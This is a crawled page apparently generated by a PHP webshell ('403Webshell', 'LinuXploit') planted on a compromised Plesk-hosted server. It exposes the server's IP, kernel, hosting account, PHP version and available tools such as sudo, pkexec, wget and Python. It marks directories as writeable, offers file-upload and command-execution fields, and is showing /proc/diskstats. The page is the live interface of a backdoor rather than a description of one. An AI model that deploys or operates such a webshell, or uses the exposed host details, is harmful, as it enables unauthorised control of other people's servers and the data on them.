403Webshell
Server IP : 198.71.59.75  /  Your IP : 216.73.216.240
Web Server : nginx/1.30.2
System : Linux elegant-dhawan.198-71-59-75.plesk.page 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64
User : realtyna_guys ( 10000)
PHP Version : 8.2.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 41123 0 887888 13526 0 0 0 0 0 14248 13526 0 0 0 0 0 0
   7       1 loop1 20458 0 434310 5588 0 0 0 0 0 16984 5588 0 0 0 0 0 0
   7       2 loop2 30202 0 1178566 6578 0 0 0 0 0 43604 6578 0 0 0 0 0 0
   7       3 loop3 36553 0 815668 12022 0 0 0 0 0 11872 12022 0 0 0 0 0 0
   7       4 loop4 22754 0 464758 6193 0 0 0 0 0 17188 6193 0 0 0 0 0 0
   7       5 loop5 22799 0 460052 5407 0 0 0 0 0 13764 5407 0 0 0 0 0 0
   7       6 loop6 13154 0 552046 2561 0 0 0 0 0 22000 2561 0 0 0 0 0 0
   7       7 loop7 4076 0 86642 687 0 0 0 0 0 1652 687 0 0 0 0 0 0
 252       0 vda 3610270550 7792619 116711150070 444628139 748266871 159216283 12357765902 195483264 0 660759860 643681520 4019994 0 4809637634 665280 46414582 2904836
 252       1 vda1 3610020201 7663583 116707352579 444606131 748266744 159215509 12357740276 195483243 0 660696996 640754244 4019766 0 4786685536 664869 0 0
 252      14 vda14 187378 0 1499148 14980 0 0 0 0 0 59720 14980 0 0 0 0 0 0
 252      15 vda15 35999 129036 1005205 4020 127 774 25626 21 0 11072 4452 228 0 22952098 410 0 0
   7       8 loop8 40 0 80 0 0 0 0 0 0 24 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit